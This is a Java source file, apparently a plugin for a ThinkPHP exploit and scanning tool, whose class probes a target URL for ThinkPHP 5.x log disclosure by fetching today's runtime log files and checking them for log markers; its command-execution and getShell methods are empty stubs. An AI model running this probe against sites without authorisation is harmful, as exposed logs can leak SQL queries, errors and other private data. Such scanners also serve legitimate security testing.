content: package com.agony.demo.exploit;
  
  import com.agony.demo.common.BasePayload;
  import com.agony.demo.utils.Result;
  import com.github.kevinsawicki.http.HttpRequest;
  
  
  import java.util.ArrayList;
  import java.util.Date;
  
  
  public class tp5_log implements BasePayload {
      @Override
      public Result checkVUL(String url) throws Exception {
          String CheckStr = "[ info ]";
          String CheckErr = "[ error ]";
          Date dt = new Date();
          String year = String.format("%tY", dt);
          String mon = String.format("%tm", dt);
          String day = String.format("%td", dt);
          ArrayList<String> payload_urls = new ArrayList<String>() {{
              add(url + "/runtime/log/" + year + mon + "/" + day + ".log");
              add(url + "/runtime/log/" + year + mon + "/" + day + "_cli.log");
              add(url + "/runtime/log/" + year + mon + "/" + day + "_error.log");
              add(url + "/runtime/log/" + year + mon + "/" + day + "_sql.log");
          }};
          try {
              for (String payload_url : payload_urls) {
                  String res = HttpRequest.get(payload_url).body();
                  if (res.contains(CheckStr) || res.contains(CheckErr)) {
                      return new Result(true, "ThinkPHP 5.x 日志泄露", payload_url);
                  }
              }
  
          } catch (Exception e) {
              e.printStackTrace();
          }
  
          return new Result(false, "ThinkPHP 5.x 日志泄露", "");
      }
  
      @Override
      public Result exeVUL(String url, String cmd) throws Exception {
          return new Result(false, "", "");
      }
  
      @Override
      public Result getShell(String url) throws Exception {
          return new Result(false, "", "");
      }
  }
  